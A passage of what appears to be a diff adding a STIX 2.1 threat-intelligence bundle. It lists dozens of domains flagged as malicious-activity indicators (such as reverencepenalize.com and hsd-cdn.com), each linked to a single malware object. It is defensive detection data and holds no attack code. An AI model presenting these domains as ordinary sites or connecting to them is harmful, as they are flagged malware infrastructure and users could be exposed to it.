"spec_version": "2.1", + "id": "relationship--f63d67d5-1e05-4d8c-9312-30fb95e0d362", + "created": "2023-03-29T12:58:44.282666Z", + "modified": "2023-03-29T12:58:44.282666Z", + "relationship_type": "indicates", + "source_ref": "indicator--a970dd32-3b79-42af-abcc-071ef62f2893", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--556c76d6-4227-402a-bd9b-3b1518c32409", + "created": "2023-03-29T12:58:44.28284Z", + "modified": "2023-03-29T12:58:44.28284Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reverencepenalize.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.28284Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca69d2cd-bc0f-4fcb-9f86-01e238d3a882", + "created": "2023-03-29T12:58:44.283448Z", + "modified": "2023-03-29T12:58:44.283448Z", + "relationship_type": "indicates", + "source_ref": "indicator--556c76d6-4227-402a-bd9b-3b1518c32409", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06b6f6fe-9a70-438d-b47e-13716ad6c814", + "created": "2023-03-29T12:58:44.28364Z", + "modified": "2023-03-29T12:58:44.28364Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='heliumscanning.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.28364Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c1079fb1-e118-420b-a282-434d35ae84a4", + "created": "2023-03-29T12:58:44.284397Z", + "modified": "2023-03-29T12:58:44.284397Z", + "relationship_type": "indicates", + "source_ref": "indicator--06b6f6fe-9a70-438d-b47e-13716ad6c814", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d793a162-0a24-4247-8ee7-08f3776ee2ea", + "created": "2023-03-29T12:58:44.284578Z", + "modified": "2023-03-29T12:58:44.284578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swallowgarage.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.284578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c8608f0-b7b6-4ddf-b933-334f916987d7", + "created": "2023-03-29T12:58:44.285218Z", + "modified": "2023-03-29T12:58:44.285218Z", + "relationship_type": "indicates", + "source_ref": "indicator--d793a162-0a24-4247-8ee7-08f3776ee2ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8717c2d2-f984-4d62-bc51-dc2c5fbc04ce", + "created": "2023-03-29T12:58:44.285395Z", + "modified": "2023-03-29T12:58:44.285395Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='windowtiles.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.285395Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--630cb1c8-b3a9-460b-ac1a-99dd0d1f9380", + "created": "2023-03-29T12:58:44.286033Z", + "modified": "2023-03-29T12:58:44.286033Z", + "relationship_type": "indicates", + "source_ref": "indicator--8717c2d2-f984-4d62-bc51-dc2c5fbc04ce", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77727973-c37d-48c0-901b-db5d380b509e", + "created": "2023-03-29T12:58:44.286211Z", + "modified": "2023-03-29T12:58:44.286211Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hsd-cdn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.286211Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3f429c4-9277-4758-b4b0-c1606b11b042", + "created": "2023-03-29T12:58:44.286834Z", + "modified": "2023-03-29T12:58:44.286834Z", + "relationship_type": "indicates", + "source_ref": "indicator--77727973-c37d-48c0-901b-db5d380b509e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--19f06ba2-30bf-4a5b-ada0-ef5aee573999", + "created": "2023-03-29T12:58:44.287011Z", + "modified": "2023-03-29T12:58:44.287011Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amperagechasing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.287011Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d77b3302-a54c-4a02-b8ea-9510543ea6ba", + "created": "2023-03-29T12:58:44.287704Z", + "modified": "2023-03-29T12:58:44.287704Z", + "relationship_type": "indicates", + "source_ref": "indicator--19f06ba2-30bf-4a5b-ada0-ef5aee573999", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df9f39b6-d409-49a2-b349-7cb2e144dfee", + "created": "2023-03-29T12:58:44.287898Z", + "modified": "2023-03-29T12:58:44.287898Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='footbathconfident.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.287898Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--64e7e348-a7e5-4048-a04c-858cd45b9152", + "created": "2023-03-29T12:58:44.288546Z", + "modified": "2023-03-29T12:58:44.288546Z", + "relationship_type": "indicates", + "source_ref": "indicator--df9f39b6-d409-49a2-b349-7cb2e144dfee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--72cabdb9-63d5-450f-bf4b-d32c0fd6f873", + "created": "2023-03-29T12:58:44.28872Z", + "modified": "2023-03-29T12:58:44.28872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reputablyschilling.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.28872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82a50c70-9db8-48e6-9a11-aab04c896dc9", + "created": "2023-03-29T12:58:44.289332Z", + "modified": "2023-03-29T12:58:44.289332Z", + "relationship_type": "indicates", + "source_ref": "indicator--72cabdb9-63d5-450f-bf4b-d32c0fd6f873", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c26a847b-353b-4980-8fb1-54134238e27c", + "created": "2023-03-29T12:58:44.2895Z", + "modified": "2023-03-29T12:58:44.2895Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pluralrectified.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.2895Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c76b598d-f931-4c31-ad92-932ebf19da00", + "created": "2023-03-29T12:58:44.290127Z", + "modified": "2023-03-29T12:58:44.290127Z", + "relationship_type": "indicates", + "source_ref": "indicator--c26a847b-353b-4980-8fb1-54134238e27c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--421e272d-6217-4cd8-92cb-254a04af8bf1", + "created": "2023-03-29T12:58:44.290295Z", + "modified": "2023-03-29T12:58:44.290295Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spellbindtabasco.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.290295Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18d626d4-ff8c-476f-9102-3eb1998178b7", + "created": "2023-03-29T12:58:44.290897Z", + "modified": "2023-03-29T12:58:44.290897Z", + "relationship_type": "indicates", + "source_ref": "indicator--421e272d-6217-4cd8-92cb-254a04af8bf1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b0a01bd0-6376-4b85-afdc-9eb48efe08ed", + "created": "2023-03-29T12:58:44.29107Z", + "modified": "2023-03-29T12:58:44.29107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='luridnesswow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.29107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b523ca17-ca96-4c98-8d49-87af2c88f0c9", + "created": "2023-03-29T12:58:44.291792Z", + "modified": "2023-03-29T12:58:44.291792Z", + "relationship_type": "indicates", + "source_ref": "indicator--b0a01bd0-6376-4b85-afdc-9eb48efe08ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5a0a360-8f4a-4307-873b-57de54fdba1b", + "created": "2023-03-29T12:58:44.291965Z", + "modified": "2023-03-29T12:58:44.291965Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sillystep.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.291965Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23e402ce-0a6e-4a6d-a6ed-d0b5c4c856e6", + "created": "2023-03-29T12:58:44.292555Z", + "modified": "2023-03-29T12:58:44.292555Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5a0a360-8f4a-4307-873b-57de54fdba1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ab4a236-fc13-4fea-a360-e9893f7dc4ed", + "created": "2023-03-29T12:58:44.292725Z", + "modified": "2023-03-29T12:58:44.292725Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ibuprofenpelvis.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.292725Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59552579-7d3f-47bd-97b5-78da1545d479", + "created": "2023-03-29T12:58:44.293321Z", + "modified": "2023-03-29T12:58:44.293321Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ab4a236-fc13-4fea-a360-e9893f7dc4ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--415de0a7-0d01-4ddd-b4db-5d88b8af5300", + "created": "2023-03-29T12:58:44.293491Z", + "modified": "2023-03-29T12:58:44.293491Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='starboardsprite.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.293491Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f0e901d-9490-415a-8f48-eb7950352cf7", + "created": "2023-03-29T12:58:44.294126Z", + "modified": "2023-03-29T12:58:44.294126Z", + "relationship_type": "indicates", + "source_ref": "indicator--415de0a7-0d01-4ddd-b4db-5d88b8af5300", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--358c90ff-d5bc-4841-8677-8246b6214398", + "created": "2023-03-29T12:58:44.294295Z", + "modified": "2023-03-29T12:58:44.294295Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='relearntwisty.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.294295Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--134e6d96-0680-46d9-8492-217031604fe2", + "created": "2023-03-29T12:58:44.294891Z", + "modified": "2023-03-29T12:58:44.294891Z", + "relationship_type": "indicates", + "source_ref": "indicator--358c90ff-d5bc-4841-8677-8246b6214398", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65c20d27-7c31-4238-8fcd-d8e29ba24a3d", + "created": "2023-03-29T12:58:44.295059Z", + "modified": "2023-03-29T12:58:44.295059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='searchmaker.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.295059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ccb1e168-eb0f-4c95-8e0e-5ee65ebc1c0b", + "created": "2023-03-29T12:58:44.295645Z", + "modified": "2023-03-29T12:58:44.295645Z", + "relationship_type": "indicates", + "source_ref": "indicator--65c20d27-7c31-4238-8fcd-d8e29ba24a3d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3cbb32cd-7d4b-4d5f-a74d-553ef41c84f9", + "created": "2023-03-29T12:58:44.295811Z", + "modified": "2023-03-29T12:58:44.295811Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rosecharacter.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.295811Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f1b3eb5-9780-4951-aa26-557cb2325988", + "created": "2023-03-29T12:58:44.296401Z", + "modified": "2023-03-29T12:58:44.296401Z", + "relationship_type": "indicates", + "source_ref": "indicator--3cbb32cd-7d4b-4d5f-a74d-553ef41c84f9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d2b8138-978e-41f3-a5e4-f8d2c0723679", + "created": "2023-03-29T12:58:44.296571Z", + "modified": "2023-03-29T12:58:44.296571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='escapableunskilled.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.296571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--210632b0-662a-4709-b975-5dcfffca571d", + "created": "2023-03-29T12:58:44.297169Z", + "modified": "2023-03-29T12:58:44.297169Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d2b8138-978e-41f3-a5e4-f8d2c0723679", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ed68402-d927-402d-89f8-4490cd1bbcd8", + "created": "2023-03-29T12:58:44.297336Z", + "modified": "2023-03-29T12:58:44.297336Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jaywalkerranking.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.297336Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14838325-1049-44b1-b21d-6383f05dbcb3", + "created": "2023-03-29T12:58:44.297945Z", + "modified": "2023-03-29T12:58:44.297945Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ed68402-d927-402d-89f8-4490cd1bbcd8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--76c2e5fa-563b-486f-a0a1-399217ab0c7e", + "created": "2023-03-29T12:58:44.298114Z", + "modified": "2023-03-29T12:58:44.298114Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contactblog.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.298114Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b330e32e-73dc-400b-af36-6739dca20247", + "created": "2023-03-29T12:58:44.298827Z", + "modified": "2023-03-29T12:58:44.298827Z", + "relationship_type": "indicates", + "source_ref": "indicator--76c2e5fa-563b-486f-a0a1-399217ab0c7e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a995c515-5247-415a-b704-ce854dddd737", + "created": "2023-03-29T12:58:44.299Z", + "modified": "2023-03-29T12:58:44.299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aideoutskirts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b469701-4ace-4648-a7a0-c7571663105f", + "created": "2023-03-29T12:58:44.299591Z", + "modified": "2023-03-29T12:58:44.299591Z", + "relationship_type": "indicates", + "source_ref": "indicator--a995c515-5247-415a-b704-ce854dddd737", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecaf7aac-eb0d-4bf9-8aca-feea2e075887", + "created": "2023-03-29T12:58:44.299761Z", + "modified": "2023-03-29T12:58:44.299761Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wrongedshun.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.299761Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c1c4d1bf-c4e0-4c83-af44-660c88a508bf", + "created": "2023-03-29T12:58:44.300344Z", + "modified": "2023-03-29T12:58:44.300344Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecaf7aac-eb0d-4bf9-8aca-feea2e075887", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35ad24cf-edc5-4818-8b15-5f76cd6bf21d", + "created": "2023-03-29T12:58:44.300511Z", + "modified": "2023-03-29T12:58:44.300511Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perennialutilize.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.300511Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--90746706-28fa-4329-b343-7ca3faf030e1", + "created": "2023-03-29T12:58:44.301105Z", + "modified": "2023-03-29T12:58:44.301105Z", + "relationship_type": "indicates", + "source_ref": "indicator--35ad24cf-edc5-4818-8b15-5f76cd6bf21d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6552eca9-c9a5-4484-b27d-e07109b34fd2", + "created": "2023-03-29T12:58:44.301276Z", + "modified": "2023-03-29T12:58:44.301276Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='epiduralcrinkly.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.301276Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f926fb96-5042-4b25-bb58-741daab8082b", + "created": "2023-03-29T12:58:44.301877Z", + "modified": "2023-03-29T12:58:44.301877Z", + "relationship_type": "indicates", + "source_ref": "indicator--6552eca9-c9a5-4484-b27d-e07109b34fd2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca66c97b-d1da-4954-8d03-2732119d08dc", + "created": "2023-03-29T12:58:44.302045Z", + "modified": "2023-03-29T12:58:44.302045Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='translatedinghy.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.302045Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b14220a2-ec0c-432f-bd45-5017b3c9eacf", + "created": "2023-03-29T12:58:44.302642Z", + "modified": "2023-03-29T12:58:44.302642Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca66c97b-d1da-4954-8d03-2732119d08dc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--09a8dc93-bfb3-421e-bf40-10d77de0eeef", + "created": "2023-03-29T12:58:44.302813Z", + "modified": "2023-03-29T12:58:44.302813Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tidinessabiding.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.302813Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--999017fc-1cf3-4ae0-a86d-e67259180550", + "created": "2023-03-29T12:58:44.303413Z", + "modified": "2023-03-29T12:58:44.303413Z", + "relationship_type": "indicates", + "source_ref": "indicator--09a8dc93-bfb3-421e-bf40-10d77de0eeef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--974b669e-3e9f-4ad7-80ef-3faa2aeb755a", + "created": "2023-03-29T12:58:44.303583Z", + "modified": "2023-03-29T12:58:44.303583Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aghastmascot.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.303583Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f23037df-0e45-4f25-bfd4-c44c5f42ace6", + "created": "2023-03-29T12:58:44.304181Z", + "modified": "2023-03-29T12:58:44.304181Z", + "relationship_type": "indicates", + "source_ref": "indicator--974b669e-3e9f-4ad7-80ef-3faa2aeb755a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d90cf933-ffcc-408b-86c0-a8d6c0dc4b57", + "created": "2023-03-29T12:58:44.304352Z", + "modified": "2023-03-29T12:58:44.304352Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='varnishdeeply.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.304352Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--973c58a0-e4d6-4b1b-9e50-197c87456bbf", + "created": "2023-03-29T12:58:44.30495Z", + "modified": "2023-03-29T12:58:44.30495Z", + "relationship_type": "indicates", + "source_ref": "indicator--d90cf933-ffcc-408b-86c0-a8d6c0dc4b57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae62a231-5b98-4f77-a3eb-fc630e157c5a", + "created": "2023-03-29T12:58:44.305123Z", + "modified": "2023-03-29T12:58:44.305123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spentbronco.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.305123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b99d59a1-b5c3-44aa-8bbb-341fb463ffe2", + "created": "2023-03-29T12:58:44.305851Z", + "modified": "2023-03-29T12:58:44.305851Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae62a231-5b98-4f77-a3eb-fc630e157c5a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4cf2a6ca-0395-4b10-b4ab-30ba66bae2fc", + "created": "2023-03-29T12:58:44.306025Z", + "modified": "2023-03-29T12:58:44.306025Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='neptunetrack.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.306025Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d455543-ac6f-43ee-87b9-222ea10fd935", + "created": "2023-03-29T12:58:44.306622Z", + "modified": "2023-03-29T12:58:44.306622Z", + "relationship_type": "indicates", + "source_ref": "indicator--4cf2a6ca-0395-4b10-b4ab-30ba66bae2fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c36fd16a-a3df-482c-99bb-a9ffe98b6e1f", + "created": "2023-03-29T12:58:44.306791Z", + "modified": "2023-03-29T12:58:44.306791Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pretzelfounder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.306791Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--decc3b6a-8560-4f68-b9c0-776b2812bce1", + "created": "2023-03-29T12:58:44.30739Z", + "modified": "2023-03-29T12:58:44.30739Z", + "relationship_type": "indicates", + "source_ref": "indicator--c36fd16a-a3df-482c-99bb-a9ffe98b6e1f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--661ae35c-4124-431a-b1bc-8a49d1545852", + "created": "2023-03-29T12:58:44.307559Z", + "modified": "2023-03-29T12:58:44.307559Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pencilsnowless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.307559Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ae47bb0-5281-461c-a2dc-5c2f8c39623a", + "created": "2023-03-29T12:58:44.308154Z", + "modified": "2023-03-29T12:58:44.308154Z", + "relationship_type": "indicates", + "source_ref": "indicator--661ae35c-4124-431a-b1bc-8a49d1545852", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c51bd05-550f-4624-9caa-3ab3b41932e8", + "created": "2023-03-29T12:58:44.308322Z", + "modified": "2023-03-29T12:58:44.308322Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='armfuldocile.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.308322Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cf4c255-0563-4208-b1c5-3835a08f0470", + "created": "2023-03-29T12:58:44.308915Z", + "modified": "2023-03-29T12:58:44.308915Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c51bd05-550f-4624-9caa-3ab3b41932e8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20ec0fc8-212d-417c-93cf-538e8bb80eea", + "created": "2023-03-29T12:58:44.309085Z", + "modified": "2023-03-29T12:58:44.309085Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='springprofile.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.309085Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a7e4bca7-d31c-47c5-a582-581b5d73b377", + "created": "2023-03-29T12:58:44.309683Z", + "modified": "2023-03-29T12:58:44.309683Z", + "relationship_type": "indicates", + "source_ref": "indicator--20ec0fc8-212d-417c-93cf-538e8bb80eea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66a5ebe8-e36d-456a-91b7-1ce864a41bfb", + "created": "2023-03-29T12:58:44.309856Z", + "modified": "2023-03-29T12:58:44.309856Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='squealinghypnotic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.309856Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e47372e4-c834-4152-b176-1fc465b8ff35", + "created": "2023-03-29T12:58:44.310451Z", + "modified": "2023-03-29T12:58:44.310451Z", + "relationship_type": "indicates", + "source_ref": "indicator--66a5ebe8-e36d-456a-91b7-1ce864a41bfb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18324b6f-dc7d-4848-9513-55c496db6d99", + "created": "2023-03-29T12:58:44.310623Z", + "modified": "2023-03-29T12:58:44.310623Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skyrocketwalrus.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.310623Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d4332bc-691d-4e68-a419-e004a8d9fd2d", + "created": "2023-03-29T12:58:44.311215Z", + "modified": "2023-03-29T12:58:44.311215Z", + "relationship_type": "indicates", + "source_ref": "indicator--18324b6f-dc7d-4848-9513-55c496db6d99", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7042cbeb-62c7-487f-ba1b-dc2c855e95eb", + "created": "2023-03-29T12:58:44.311383Z", + "modified": "2023-03-29T12:58:44.311383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backrestcrane.org']", + "pattern_type": 